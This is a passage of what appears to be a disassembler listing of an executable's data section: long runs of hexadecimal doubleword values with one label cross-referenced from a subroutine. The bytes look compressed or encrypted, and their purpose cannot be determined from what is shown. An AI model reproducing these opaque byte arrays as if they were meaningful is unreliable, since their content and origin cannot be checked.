167F645Eh, 0C227BDDDh, 0EC7C995Eh, 9EBF61B6h, 0D42EF31h dd 0FF3CB746h, 7F0EAD20h, 98897FC7h, 6FAC39FFh, 0FFECB0D8h dd 3FA98642h, 0D45B19CBh, 673F7497h, 0F8CEABF6h, 0C33F7FFBh dd 82994C29h, 0DBE6C8E1h, 3FCF6D7Fh, 4FCEC91h, 943BC96Fh dd 1EBF2C17h, 0DBDC3CB9h, 6F8523Fh, 0DB24B96Ch, 9E893F4Fh dd 0DC228D3Eh, 22D808FFh, 973FDF7Fh, 50DB2B80h, 8D062B61h dd 0F06FA04h, 89240C01h, 661E0078h, 0C8A05858h, 306ABE58h dd 5AC2A059h, 0A80B6427h, 0AF003219h, 25B9890Fh, 8684411Bh dd 0E68380Fh, 84850FFDh, 41000021h, 800E8D81h, 0D519CEE9h dd 7CA76977h, 8012D0B1h, 0ECD590B0h, 47EF6BF6h, 805D723h dd 8B667EABh, 0C2D30650h, 0C41005DBh, 80051E00h, 5830F900h dd 0A805C36Dh, 23D23018h, 18DA2BD4h, 0FFE11D1h, 0F707FBBAh dd 2DA21EDBh, 42FFDC00h, 6CE41942h, 2C286009h, 0F7880E17h dd 6EFCFE17h, 0F853DB1Bh, 0A5C5A804h, 9761AA1Bh, 0F7004BE1h dd 5BF685F3h, 0B8D57B0Ch, 7F260848h, 5034C681h, 6F504F0Dh dd 0BE0F6A32h, 0BE850BC0h, 2AFF1B1Eh, 7F7F8AC8h, 0F25FDEBCh dd 0F7E981FDh, 0DD689399h, 0C832333Ch, 93C70CB8h, 0C8AE180Bh dd 0EA2B63Ah, 927E72Bh, 0B883F77h, 0F3077F05h, 0DEF7F343h dd 0F37B7D48h, 0C73B18BFh, 6FFB70Fh, 755E7D16h, 0A514BDA5h dd 76ECBF7Bh, 95E56F11h, 1FAA971Fh, 0AD644D26h, 0D139FC2h dd 8BF7D826h, 2B8E7D74h, 2F21F050h, 0AC207B16h, 17FD1BD7h dd 5236A075h, 1E6937ECh, 245B2BE1h, 63E54235h, 0D1890330h dd 9CD43EFCh, 950EC638h, 40C21C10h, 346074B2h, 55D8ABC9h dd 84D81028h, 0D863685h, 0B9C3E333h, 0E912B624h, 5E3C21A9h dd 968810AAh, 196C0B90h, 2C9C9B4Bh, 0FE8756FEh, 0E323C18Bh dd 7DDD7DE1h, 94F98303h, 2B935C8Eh, 8A71BF10h, 5E828416h dd 291EF22Ah, 9A49DE0Dh, 2AEB30EAh, 33EEF184h, 79077D52h dd 0A332EE83h, 0E54328D3h, 570CA0DBh, 0F0193F87h, 0CEC82303h dd 2A173A46h, 0E89BD667h, 43F33265h, 12F6B349h, 81FF40D0h dd 8599DE5Eh, 0EEF4E79Eh dd 36882A6Dh, 0A484DCC9h, 0BCB1D14Bh, 8FED25DCh, 0DFAC60B5h dd 60460FEEh, 0B19E8F49h, 9DD5F718h, 30A05F09h, 88655DF6h dd 0ACE10617h, 7DB742C0h, 575B595Ah, 0EFB2D903h, 37E605Bh dd 11473B40h, 15E0AC54h, 26BC369Bh, 89CD0852h, 764E41BCh dd 0AA8011F7h, 3D4290FBh, 0A71B0F49h, 8BF41B21h, 0C2413338h dd 900D56B1h, 12596976h, 43CB552Dh, 0AD576A3Ah, 143608E0h dd 10355FC2h, 5E0C13Ch, 6A133621h, 81370484h, 12904E00h dd 4850AE3Ah, 87485106h, 1DD554FFh, 0D2852003h, 13087667h dd 3C1BA04h, 934BEB96h, 0EBF02AB0h, 0C4960124h, 0B73BB100h dd 5B1635F1h, 474901B3h, 7E8DF6AAh, 2040D501h, 0D8993F0Bh dd 0C085E910h, 1A0F7B60h, 6A3B3100h, 0C951266Dh, 68B48109h dd 37B0C226h, 8E7AD652h, 7AC34E8Bh, 3CCA49CFh, 1D2F4D74h dd 87FB996h, 67F3C144h, 337D8651h, 5CAF9C8Bh, 2CA86100h dd 419E3822h, 3D22540Eh, 3C4CA5CFh, 75514F00h, 1B38F9B2h dd 0FA3EF29Fh, 4DCBD2Eh, 6136B231h, 2A120B0Fh, 0E01BB96Ch dd 0E2C5683h, 859F6431h, 16FD86A2h, 0BD391D29h, 0A3453B0Dh dd 8B365B7Fh, 0C101E246h, 0B2374BF6h, 0CF6CE3F0h, 0CD92E3CDh dd 2136BCB1h, 0B3B9E08Ch, 0CAF12801h, 2179060Dh, 0A749063Ah dd 0D82113CCh, 0E0C416CAh, 0D271C87h, 84F62B22h, 133B148Dh dd 49783FA9h, 8304F475h, 0E8AF8A9h, 305C683h, 688B035Ah dd 0D1A603E1h, 0AFB44F26h, 5131BA7Eh, 502688C2h, 812B9604h dd 0BE089552h, 40075FFh, 0E8EBAB96h, 860BBB7h, 617BAB11h dd 0F0701608h, 97001782h, 0CE18EFB2h, 0ABD46837h, 38E60D4h dd 10D90EE9h, 43406815h, 3000DC7h, 480746E2h, 99186224h dd 0F6E02CCBh, 0BD0380C1h, 0E959AD37h, 1BCB375Ah, 0F1F277BEh dd 0EE7B704h, 0FC10523Ah, 8710601Ch, 94E203CBh, 642CC3A0h dd 0C6219694h, 13C97009h, 0FB87588Ch, 0ED6EBF3h, 3C9E311Bh dd 9245FF61h, 9209C617h, 423C908h, 0BC7E8E6Dh, 3B852C30h dd 0B264CF04h, 0E8884A3h, 94E91ECFh, 0A36C4628h, 2D3E22DEh dd 93E07A0h, 923BD0B5h, 2C9CC75Eh, 19DA865Dh, 0E90189F8h dd 357C0101h, 0A63A7918h, 53B3F833h, 43D1DF91h, 0FB0FB12Eh dd 82577C50h, 88AB6400h, 0AC5420B2h, 0F9671585h, 2541E00h dd 13F46BDAh, 778BA181h, 2C898009h, 707E1660h, 0B054AF4Ch dd 785BDD84h, 0B789830Fh, 0C7920331h, 0D1407CE1h, 57B1D1A2h dd 0FD04D182h, 613F4B6Ch, 102F57DCh, 28D167E7h, 0DF46A767h dd 594AD98Fh, 96761618h, 0E86D0F69h, 3DA7F33h, 0CE87F25Ch dd 91BB724h, 0E8B1D4E8h, 97CAC21h, 73D546F8h, 2F41BE89h dd 8328826Eh, 0BC31C6BBh, 0CC036EF5h, 0A021C6B2h, 2BD99E12h dd 35E168EBh, 3F5C813Bh, 0FEB18827h, 125A6240h, 0A0186CD1h dd 0A2EA01BEh, 0F9E57ACh, 92A63803h, 0FFFB85F0h, 0F0A81FFh dd 8014E38h, 0EF8D040Bh, 1851F0h, 5F118400h, 7AF99CE9h dd 3145687h, 0C085CEE5h, 7152D3FDh, 0E59F710Dh, 488E833Dh dd 66DAF093h, 0B2EC9AB7h, 5BD5F7CAh, 164AD87Fh, 0E883A8C0h dd 8C578051h, 56702A1Dh, 0C0901052h, 5D7D964Ch, 16148C31h dd 0CB6A8260h, 48096378h, 3AA43A64h, 8B4D8E54h, 0FA1202FBh dd 0F420042Ch, 6C09E47h, 1EB4200h, 22D70339h, 0B8FB6C15h dd 84803860h, 83F02BF0h, 0B84A07E2h, 80308FFh, 0D0A5F342h dd 8110EC36h, 0A02B0BF4h, 26AC21ACh, 1C03E994h, 854782A8h dd 6CAC7045h, 4F28B7AEh, 0C2ED03AEh, 0ED04D985h, 26ADA19Fh dd 987391C5h, 168E4954h, 0D1C0D6Ch, 88B01B0Eh, 8F02F030h dd 8221544Bh, 949A242Bh, 5511039Ch, 242C7496h, 6F7D9242h dd 1CD74CB6h, 0D1400381h, 85D8C360h, 663A3F9Ch, 6DC38BABh dd 0E27C303h, 0DD22D040h, 4980D30Ch, 16A0159Fh, 2B37D79Ah dd 1B4B679h, 0C38AF727h, 5F612AAAh, 0B6E85008h, 89038E47h dd 5024FA82h, 692BC61h, 87120A2Fh, 0F4531C5Bh, 0C3AB07EEh dd 3C055346h, 11AAC1B0h, 791B113Fh, 582F6EE0h, 1C5630C9h dd 36270F02h, 37A70840h, 797C033Fh, 724C68Ah, 3F6A9441h dd 0B4F00Ch, 32AB8866h, 0C388015Eh, 0E20B2D30h, 0CAA68B0h dd 57F2282Ah, 0B27110ABh, 511F66B0h, 0C8200B82h, 0C3B03F30h dd 30FE28Ah, 786370D5h, 471D05E6h, 167403D4h, 3EA62317h dd 0E81A977Eh, 155EA912h, 24388958h, 556FE168h, 1CDD7906h dd 0F02F8C9Dh, 0B1A62103h, 3C8B175Dh, 0DDE70E28h, 8CF4C41Ch dd 3F152C12h, 148BC923h, 0E62631B7h, 4A8B75Fh, 0FDBA7067h dd 1CC6AC39h, 84FAC9F2h, 5CF4501Eh, 8A0C278Ch, 38C11864h dd 0FAE34847h, 927DC8C3h, 25000001h, 0B309B1E8h, 0A9E0352Eh dd 28AB5AB5h, 3D98711h, 35F8ABEFh, 0C924A086h, 0C2426C12h dd 48C11D1Bh, 0F1C32865h, 62499DB2h, 0BB198C43h, 4F2DFC78h dd 8A2CA64h, 0FA291430h, 7500FE80h, 818235Fh, 11246B4h dd 69C2F63Bh, 0F4C4056Dh, 41587218h, 0D4511A46h, 0B1ADAB81h dd 0E887EE9Bh, 8CFFFFFEh, 0E9FB0021h, 7729FC89h, 7F4200B8h dd 0D8F6C28Ah, 0A208C8C1h, 233230ABh, 55A00804h, 5B5200A6h dd 8ED0303h, 0C115CBB4h, 0CD462584h, 9D3EA4E9h, 621CD7ECh dd 0FCE54BDEh, 8B182F40h, 0F709ABD7h, 3BF8F084h, 0E647FE74h dd 2DBE57D3h, 512B2F31h, 0E9B0E41Fh, 478DFDAAh, 2BCE0304h dd 0ABD872B8h, 65093BABh, 0E09D8153h, 79DA1670h, 20B512C6h dd 0EB105113h, 8644AC1Eh, 718910A6h, 2986C466h, 7B151B1Ch dd 2F7F749Bh, 3A897F95h, 0BBB52C3h, 162C31A1h, 0F6AC08E5h dd 469135Fh, 152F96FBh, 5B1B335Bh, 63733DC2h, 0BDE91A46h dd 0EFEE5EC5h, 73EF504Eh, 0D46619B5h, 0D3D28DBDh, 0C3CD1163h dd 0DEF90205h, 79062A05h, 804481C3h, 0B12C6DEh, 3BAC7FDCh dd 0D08B068Bh, 75CC3CE0h, 0C9C7304Eh, 46AB84D5h, 7E132AF8h dd 1602DE7h, 54C21FDAh, 0AAF090B0h, 4474E9ACh, 95A7683h dd 86D631A1h, 240DC628h, 8DB4A3CFh, 2A30036Eh, 2C7A95F8h dd 25245E2Ah, 5744AB5h, 505B100Ch, 66F0FBE4h, 0C800F3Dh dd 0ED30A76Fh, 9E83CFEh, 0EDEC9DA7h, 3B5F74C2h, 0DE03CDBh dd 0F0177F8Fh, 96D703Ch, 66404F85h, 38FF25EDh, 10FFF730h dd 29057A74h, 56747F42h, 235E8h, 0C60B4805h, 9276AC0Fh dd 23B4DBCh, 527C0CB1h, 3F0A3455h, 0F3915934h, 0B9E9A4E3h dd 0FB399BBCh, 0B8AB0190h, 51341E7Bh, 0CC0FDDF7h, 0A496150Ah dd 1EEF1497h, 351CD50h, 3F7C42C6h, 70D9323Fh, 0B56C01A8h dd 0F15348D2h, 0F4889966h, 5606421Bh, 0C63497D8h, 1413CB7Fh dd 4370DB58h, 0D84B95F1h, 0EDC68BC4h, 0B0E60164h, 5037FE03h dd 1ED817ADh, 7608DE82h, 0C4697709h, 0AD087C7Bh, 0DA6C1938h dd 0B58E0C8Fh, 0AB205049h, 458B0311h, 8960DE27h, 169F1B5Bh dd 0A3050B06h, 31D02E49h, 0EDD98D94h, 5E23E211h, 0E39EE3CDh dd 1F7CFF44h, 0C5E67EBh, 4DD67064h, 0C033086Fh, 607ED8B2h dd 4077307Ch, 21D1AF9Ch, 0B0BEF656h, 6D7477E9h, 42A5739Fh dd 691446E2h, 70F81431h, 63470188h, 3387B919h, 7AB4A637h dd 0F7C62BF8h, 0F232ABD8h, 27C6DDDh, 0BA880D28h, 4117B003h dd 8B0B0B67h, 1436DFA0h, 0DC1ACFCAh, 3E824278h, 0FAF14303h dd 0EB86F73Eh, 0FF19D40Dh, 595F5E5Ah, 4CB58BC3h, 0CE0B6Bh dd 643A0887h, 0B803203h, 1F940D00h, 11240843h, 360200B0h dd 80E9Fh, 108003C1h dd 0C1179157h, 0BC933220h, 378A7B94h, 3016C00h, 5F416CA8h dd 603411Bh, 81854240h, 20020E00h, 20BB17C0h, 0DF602103h dd 5890204Dh, 0B2A3DF2Ch, 87850320h, 2F1902F7h, 0B0174308h dd 0B7C2C003h, 5803B245h, 231F6C77h, 0BF1B2F61h, 20027628h dd 0C14257h, 180708B0h, 56FC808h, 0FFD80391h, 61222F00h dd 3900B007h, 7D2828FFh, 2000h, 404C0394h, 93C80895h, 2B8741E3h dd 5F1B1F61h, 4D473600h, 58278041h, 591F4Ah, 5421FF43h dd 0D22B5B3Fh, 80FFC02Bh, 18AF7E2h, 0FF140B41h, 8C2F683h dd 0F63CF275h, 3C3274FFh, 3C2E74F7h, 3774FFCDh, 40740F3Ch dd 80EDC6F6h, 0ED044E75h, 1E6F7540h, 507520EDh, 58046F09h dd 2B8AC18Bh, 81F59D8Dh, 0DF0707E2h, 0C602C29Ah, 80DBC35Bh dd 0ED0128CEh, 7D27538h, 0CDEB80EDh, 8001ED04h, 0C5B42639h dd 0C0E15B07h, 83945A7Fh, 2904B700h, 0FFFFFA83h, 0C28BB175h dd 0D180D1EBh, 20BB20F6h, 7F06AB75h, 80A6EB21h, 576F02F2h dd 6FA87510h, 0A3EB0607h, 650C116Bh, 7A0B5C6h, 389B0CB7h dd 0DBE08A68h, 7D9F07F5h, 8374C0FCh, 3C2D24FFh, 76057504h dd 0DE072416h, 17744012h, 748004DFh, 83FD660Ah, 850F05F8h dd 80CBDF61h, 59E904CAh, 0CC010763h, 19EE51E9h, 0F90E7406h dd 239BED29h, 21B633Dh, 0C11BE9A8h, 4C03C1E8h, 919EBC7Dh dd 340B9091h, 9E90ED93h, 96FE049Bh, 8D9E8D9Dh, 19D9DF86h dd 91B6BDA7h, 11AD9E89h, 9A89FF15h, 90968C8Dh, 90D9DF91h dd 7A682099h, 4E1A6CD4h, 689184B6h, 0A1F1495Eh, 0D27C125h dd 415B5381h, 0AC562783h, 2CD02064h, 3F4ABC9Eh, 0ECE203DCh dd 32F38A05h, 6B17F17Bh, 0A246D759h, 32762DFAh, 58A76C6Bh dd 2609B39Bh, 8680496Dh, 5891612Ch, 646E3C48h, 8826038Fh dd 8D500219h, 5E9F647Bh, 10B01384h, 363AAD60h, 0EAD405DEh dd 4958F5A4h, 75CFA310h, 3C210706h, 0B26C2515h, 77BF6C09h dd 982FDA98h, 0AA087810h, 0ECC2165Eh, 9A922A7Fh, 0A2692451h dd 0C10442C9h, 413C0086h, 0A03F016Ah, 0C2240481h, 0D3A102Ch dd 94219CE7h, 0E82C8245h, 1943352Ch, 0B7FE010h, 57E62D8h dd 534EC190h, 0D8F15075h, 0A42A631Fh, 8D71B59h, 724C8BEDh dd 0C1BB8416h, 0D05F5375h, 0C0F01B08h, 10991F4Fh, 88D2F6FAh dd 0A8B74010h, 0AF64D975h, 0FFF68507h, 0A8485174h, 178A7D01h dd 0D0689D47h, 0E874B294h, 750051DFh, 14726573h, 0F5AB964Ah dd 0C0589376h, 106AE241h, 63413692h, 8244AFD3h, 27CE0AB5h dd 0F47008CDh, 0F2C1A82Fh, 35925500h, 27F6CA03h, 50EE8A45h dd 0FD8CC68h, 0FCDF1945h, 6AA250A7h, 0BAB0649h, 55AE3EA0h dd 3A12DD3Eh, 0EE1693EEh, 0DBED4164h, 0C482DC3h, 4D6AFF10h dd 0D2A27168h, 5053FEA8h, 0FFA076E8h, 8B1790FFh, 64E0FFDEh dd 84182129h, 0D891684Fh, 0D8B08100h, 8D0FFF66h, 36C0A8BDh dd 102C1900h, 2DAFB9E1h, 46ABF3B0h, 981C0D6Bh, 0C8DFA825h dd 0EFD55703h, 0BBB92075h, 0CB23303h, 62A9BB7Bh, 0C5F77F04h dd 8758BD9h, 8BCC6AFEh, 0FD74A6FCh, 51114B09h, 24032F8Fh dd 0E9110D6Fh, 6B5DCBCh, 465AF833h, 6DA8584Eh, 2F2063Ah dd 25E6762Fh, 24AA2078h, 78C6143h, 70134826h, 915516E2h dd 83302504h, 80045B5h, 8283119h, 50F0FC4h, 81800AE8h dd 272445B2h, 0DE6872BEh, 9D2DD541h, 0C1D804DEh, 95543E47h dd 31044BCFh, 0C4557F04h, 26D4840Fh, 3B0B18FCh, 1B3964C5h dd 0DD06FD55h, 3D252FA3h, 12B0EB0Dh, 0F97B4D9Fh, 0CC483E0h dd 86A33B58h, 0F5FC61Bh, 0E181E247h, 365A1471h, 47BC6923h dd 63C7E7FFh, 28C97C4h, 0B75E6211h, 63098CE8h, 0C2080647h dd 6668BB3Fh, 0E2829735h, 0E810C193h, 74D60386h, 6209E6AFh dd 4575B12Ah, 0D793F692h, 6DE30DFEh, 0CD43B468h, 9533CCEEh dd 0BF04DE9Bh, 0CCFB21B8h, 8EA88F47h, 5BB8A710h, 1FFF4724h dd 9AC35412h, 0C93BFDF3h, 0F8C833F3h, 0F1E2BD8Bh, 0B845C1B7h dd 0AF0CE881h, 9B06C19Fh, 0FF60D25Bh, 73C883F2h, 0F2C0855Eh dd 16C22BC5h, 0C681F8D0h, 2CC100E6h, 74599FC2h, 73BBB1Fh dd 6C032E7Eh, 0F35999CFh, 44CB13DAh, 0DE77DB83h, 5B783FB2h dd 0A2F2168Ah, 0E1839FEFh, 0F7DDF233h, 0EE6D10D0h, 49C03BF2h dd 0C280F2F6h, 6F60646h, 0FF2A41F3h, 8AF28129h, 77DF791Ch dd 0C80CE484h, 2AC13C6Fh, 2A557BD3h, 0FE07F7AFh, 0BF0F1688h dd 0F1CB1BC6h, 0EEAD450Ah, 9C2BD32h, 0F2C22BDFh, 442BF34Bh dd 59006A8Fh, 45F1ED80h, 3BC5A22Bh, 0DBAF48D8h, 48775358h dd 3061F7C6h, 91DC7C58h, 68911603h, 0F2FBC50Eh, 0BF2C71Bh dd 0F1817F39h, 14DF9A9Ah, 0A953486Fh, 6D5FFF30h, 64126C63h dd 51FFE679h, 4DB16F73h, 0FF56D55Eh, 525A6C60h, 3E48BA5Ch dd 33A768FFh, 701A643Ah, 0AE4BFF46h, 79234D43h, 52FF4619h dd 5E105230h, 0FC3B30FEh, 323C31FBh, 6F406447h, 451BE8C0h dd 0F175A3FFh, 2D282A34h, 3725FF24h, 33117D49h, 0DFF3FF1h dd 193BED1Fh, 0FF12371Ah, 0FE02D51Ch, 0FA44DE28h, 1DF87512h dd 5F1C0B06h, 0EF26299Ah, 35CFFE19h, 21CB15EBh, 1DB3B7F7h dd 0C2AD06F3h, 2FF7429h, 8A2302E0h, 81FFEFDCh, 0EA7479CBh dd 0FF96F65Fh, 47C9F8CEh, 50E1E9B4h, 0DA4BDEFFh, 4ADD4BDCh dd 0BA1EFFE9h, 0CECFE4E2h, 0FFF5BADh, 67C4D9EEh, 0C4D8D90Bh dd 0A146D9AEh, 0CBBFADFFh, 4DBBB9C3h, 0C7B521FFh, 0C836E395h dd 6C4FF39h, 0AB38AF39h, 0ACFFA443h, 93B8B9B6h, 0FFD8F945h dd 0A09E969Bh, 39319A9Bh, 9DBAFBFFh, 0A5A08080h, 0A57AFFA4h dd 89D52CFEh, 7FFFA78Bh, 0ED299785h, 81519371h, 57F6F9Fh dd 7B05D280h, 0FF87FF04h, 85828860h, 1FF4F84h db 0C5h byte_4B9785 db 0A4h, 77h, 62h ; DATA XREF: sub_40D9C0+6Do dd 0FF776C6Ah, 0D705FD76h, 754B7996h, 0F081D3FFh, 1D5D5020h dd 5466FF51h, 0CBA0BA66h, 4FFFCA63h, 4A504899h, 0FF1C4C4Dh dd 3F6C8DE9h, 3F54522Ah, 0CBCB3EFFh, 0C2495E7Fh, 46C5FD3Ah dd 54481E6Fh, 311E47BFh, 0FF29BBC0h, 0B20CBA30h, 33A037A1h dd 350BD3FFh, 22E18802h, 1B8DFF1Ah, 8C29278Ch, 22FF9726h dd 110F075Bh, 0FFF60B10h, 122B509Ch, 0A2D31904h, 4D5A5FFh dd 0FBEFBEFEh, 0FCFAFFF2h, 959A0607h, 9FF2667h, 0EE6B0270h dd 0FFF1E676h, 0CE9C30FCh, 0F2F3F8F6h, 537169FFh, 0E1D7F512h dd 0DD1D0BB7h, 0E7066F45h, 0E4FFE5E8h, 0AAE0E4BAh, 0FFA6D0C6h dd 0A2CCC2ECh, 0E4D8AEF8h, 0D4AA3FE2h, 0C1B6DDDFh, 26FFD059h dd 0C3C8C69Eh, 0FF41A1C2h, 47C5E223h, 1AC9CEEFh, 0B61DAAFFh dd 0B5B38BE9h, 0C89FFFB4h, 0A6BFF430h, 78EB9A98h, 7F6194C6h dd 8FA57DC2h, 0E6FF918Eh, 98B1CE1Ah, 0FF99976Fh, 0ECA9398h dd 7992B3F8h, 7A7B81FFh, 0DA18287Dh, 57CF19Dh, 0D3BE0489h dd 8B3D6F5Dh, 4753FFC6h, 0B7FFDC72h, 0D061D1F0h, 0A5CAA95Dh dd 0C2FF475Ch, 4FD263D3h, 0FF514703h, 1D83115Dh, 5358562Eh dd 0CFCE52FFh, 383D7293h, 3D3AFF40h, 9DD37C3Ch, 0B8FF475Ch dd 4344B348h, 0FF3A2E1Ch, 372D258Fh, 0C25F3936h, 205976FFh dd 0A62128F4h, 1AA9E11Eh, 0F27FFFDCh, 0CDA2A648h, 0E0FFF24h dd 0A10080Fh, 56FF0C0Dh, 172C6DA3h, 0FF0F13F1h, 0FEF6FAh dd 990BFAFBh, 0FD1A5BFFh, 0C11509DFh, 105FFDBh, 0EAF0E8F9h dd 0D8FFECEDh, 0F70C4D83h, 0FF63F868h, 0DFCCD8F4h, 754FEFCFh dd 0A6DA37FFh, 0E8C1E3CAh, 855DFF4Ch, 0EA9CCEBCh, 0D7FCCDC5h dd 64EAD9D6h, 3BDF2F36h, 0C1FF3AD5h, 2BC0301Ah, 0FFB469BCh dd 9DDFFFC6h, 0B1AEAFC5h, 0E3CBBFFh, 644B0D1h, 9A79FFB1h dd 0AEB290B2h, 0A185998Ch, 0D59DFFFFh, 9CBDFA38h, 0BFAA97Eh dd 8E864F64h, 2B8AAC17h, 0AAEB29FFh, 0A5996F8Dh, 9206FF3Bh dd 18647E09h, 74FF99CAh, 8889867Ch, 0DBE9FFFEh, 7BFF83A8h dd 6B6903FFh, 6C656698h, 2A22FF11h, 5FDC73DDh, 4BFF2179h dd 0F35A585Ah, 0EDB8DE30h, 3F623A73h, 0DB514EFFh, 43596E8Fh dd 0C9E3FC4Ah, 55532BE7h, 0CA28FF2Fh, 3E5FFFB4h, 1E472FFAh dd 43FF4846h, 0A3C1AF42h, 0FF274562h, 23B4E631h, 0B159032Dh dd 0D3A83FFh, 211E1F35h, 7EACFFDBh, 10DC2041h, 29FFFF29h dd 25FBEDE1h, 0FF0731DBh, 3D3AB11h, 0E410030Ah, 0F19EEFFh dd 0F9A4B83Bh, 0FDFF6F01h, 3AFF96E0h, 3DB041Dh, 0E3EF0405h dd 0DF647A2Dh, 0F7EDE57Fh, 0FF31F9F6h, 0E0193682h, 0E166F567h dd 0DBD96AFFh, 0DC6407B9h, 0F1E8FF4Fh, 68F2E3C0h, 0FF0F8F32h dd 0FFD78DAFh, 4E9CD3FFh, 7ED2F338h, 0B9BBFFC5h, 82DDD1C0h dd 0F4FFC7B4h, 0C29B9491h, 0FC16D38Fh, 1996B0A6h, 0B3BFB78Fh dd 0D3182E23h, 60CCB2FFh, 2540A096h, 0A9A7FF7Fh, 34EBA3A8h dd 8AFFC3E8h, 42898F7Ch, 0FF8A8343h, 6EF7BF3Ah, 0FDB44E98h dd 81FC95FFh, 7C7A728Bh, 9A86FF87h, 89A6E715h, 81FF855Bh dd 9A6AE45Fh, 0FE77612Ah, 7378764Eh, 37EFC372h, 0FF575D1Fh dd 0D07D3761h, 4966CB5Ah, 0FF22FF4Bh, 514F4736h, 0DC514B50h dd 526B90FFh, 49625644h, 5FCDFFB9h, 0A4F1542Dh, 31FFFAD1h dd 0C53CC247h, 0FF203348h, 1CF93E42h, 25F6B92Fh, 0FF857E42h dd 0C5D638FDh, 2F1B5879h, 12922BFFh, 271C1AFFh, 87B5A026h dd 9D29FF46h, 710FFD0Fh, 0AFE02BBh, 8616170Ch, 0DFDE77A5h dd 0B7FE14ECh, 0B8D2C9Dh, 0DEFF031Fh, 2030806h, 0FF6381A4h dd 0F1E70522h, 0EA5CD1FDh, 4FF667FFh, 9D97F9CEh, 0DFCDF7BAh dd 0FCFFFBADh, 3BE94CCEh, 0A5040B22h, 0A9ECD4FFh, 0C4DD8A90h dd 0D8FF0BE4h, 0D3F6C9FFh, 7EC58E4Bh, 1CE2FF98h, 7F89D7ABh dd 0C7FF813Ah, 8945B87Eh, 0FFB0B1A7h, 6D2AA1ABh, 0F00B9059h dd 6EB88EFFh, 5E35A2D4h, 766FFE3h, 8FA79C9Eh, 1DFFA917h dd 0AF61A381h, 837F6E5Fh, 8D7C7620h, 6F966E91h, 0DD0592FFh dd 6FA80DE8h, 7848935Fh, 8DFFD87Dh, 409F763Bh, 0FF6F825Dh dd 0A7D9716Eh, 4CED5BD3h, 0EE77C4FFh, 548A834h, 940FE1A3h dd 537FF12Ah, 4AB1A40Fh, 63D9F151h, 0FFBF4C47h, 33523FEDh dd 421BFF4Bh, 0AE471A57h, 2BFF740Ah, 0F3F8254h, 0AB3AB048h dd 127FECBBh, 14593668h, 4159FEBCh, 0F16603F8h, 9E617AAh dd 294BFE7Dh, 34A31D6Ch, 0FF0FA5C1h, 1D185120h, 16740DC1h dd 7FDD1E83h, 162EE022h, 0A3FF107Eh, 0DF52E548h, 0FFD3D907h dd 6F15F020h, 0D8C21005h, 0C70CF1FFh, 0C1C6ECD6h, 14F9FE06h dd 8201BCAEh, 0ADFE3B4Ch, 0E409FFE7h, 0E31970F6h, 0F5FFACB5h dd 8FDFE1CCh, 0FF647146h, 4442398Ah, 8A18A2Ah, 0FF4A4685h dd 0D2EEB81Bh, 45A737B6h, 47B602FFh, 0B6A249B9h, 0C14BFFBFh dd 3346CFA2h, 4FF07ECh, 242229C2h, 0FF839522h, 0A346660h dd 2080209h, 9C9531FFh, 7780866h, 3D01FF8Fh, 8D1F440Fh dd 3F6F4510h, 0FFBF6F30h, 0E1363C66h, 439C202Ch, 0BF39AFC0h dd 62FD306Bh, 48FFD3A8h, 0C0BAC1DAh, 0EB356FC2h, 28B08E4Ch dd 0BAAB937Fh, 0FFB4B2A9h, 28F1969Ah, 6EA76C56h, 9FD47BFFh dd 9A705386h, 807AFF81h, 0CB5A542h, 0FF304Eh, 7C29B727h dd 0FF101F1Fh, 89FAB24Dh, 2B27481Ch, 67BEB2FFh, 3215481Bh dd 0C0C1DBDCh, 0B5FF0C9Bh, 0C426104Eh, 229A527h, 0B71BFF7Bh dd 80BE309h, 1C69F154h, 326FF0F1h, 0F65ED553h, 0F5D4620h dd 793FF9Fh, 24FF7D31h, 0E942F615h, 0FC0D340Fh, 361F9753h dd 46311B09h, 5F0301BBh, 0C6CFFAC3h, 0DBBFE8B3h, 5B7FA4AFh dd 0A6E39FCEh, 7FA194C9h, 0D898B93h, 1DFA71A7h, 5FB9859Fh dd 0FF34985Bh, 69367FFBh, 9297F03h, 5295287Bh, 6D2023FFh dd 53480BE2h, 7DBF6E65h, 0E37FFFE2h, 0FF0DC7C0h, 0C748C709h dd 0BF10F52Eh, 0C47C26FCh, 5B1A2DF5h, 1FFF9CD4h, 1F2716F6h dd 0EE64C106h, 6F0906DFh, 0FF5433FFh, 0FF64E936h, 6B7FD26h dd 643261Fh, 0E1A90FBBh, 6149277Fh, 0A2ED3F6Fh, 0C8BBFF09h dd 0BF9BB1C7h, 7F6E7FA5h, 295F12E1h, 0FFD5888Bh, 0BD70A362h dd 95889B62h, 96C132FFh, 42878580h, 7544FF7Fh, 3F257F4Ah dd 32FF2B69h, 0F2B2123h, 0ED1F7A49h, 33F9B44h, 1F93BFFFh dd 0CF1A05D4h, 0BF1FFF45h, 9A25B136h, 0E7FF8FA0h, 0F3EB070Bh dd 0FFE72057h, 0F32F9BCFh, 0CB9477CAh, 0D8C1D1E3h, 12E27F11h dd 0E1FF453h, 18E9DDFFh, 24F200EEh, 130BFF7Ch, 2E0733E7h dd 2CFF1AD1h, 301EE696h, 0FF225402h, 0D675B4C4h, 0CA1752B8h dd 241BBCFEh, 84D2A0CEh, 90C67E17h, 89BDCCFCh, 5BB3BB19h dd 91FFBE25h, 0A687D73Ah, 0FFA3AEE2h, 0AA4D5EB7h, 45AD655Dh dd 51618DFFh, 4575A949h, 85CD8A6Dh, 2A8FFF73h, 61B16AD2h dd 14FCB874h, 9D7D1505h, 373A1A38h, 0FF287AC8h, 14660C42h dd 42726856h, 4E64F5FFh, 4B70AE1Ch, 567FFFF0h, 0F29EFFFBh dd 77FF63DDh, 5DBF4B9Fh, 0FF6E9897h, 9747B081h, 939C5296h dd 0CCAE87FFh, 3D37AC9Ah, 0FDB1FF9Eh, 2579B9A1h, 0DDFF3C55h dd 0FB36D4D1h, 0FF254D3Dh, 2931016Dh, 0D251549h, 3957ADFFh dd 3DE0A901h, 54E3F815h, 0B7D71901h, 0FFDA290Dh, 23CEDF34h dd 1F4C9DBh, 0ABC4D5FFh, 0D3D0D575h, 0EFC4E9EAh, 3F7F8CEFh dd 0C3F7DF8Bh, 839BFF97h, 8DB9E391h, 8DFFB0FCh, 21E58DFDh dd 0F8E9F1E1h, 0FFB3F5CEh, 0EDA897CAh, 0CBF0E81Eh, 7BB3DD70h dd 0AA2FC2h, 72FF19F6h dd 0D7911E9h, 0FFCE05EDh, 2709113Bh, 0E52D0515h, 211949FEh dd 351D4DF1h, 0C0984317h, 0C0C5A1FFh, 0BED4BAC3h, 0FAC2FEF1h dd 0B6E1BBB4h, 0BCFFF5A4h, 0B5CFD688h, 9A8B8F6Fh, 9484FFD1h dd 33EA482h, 0B65B58B6h, 25A2DBD2h, 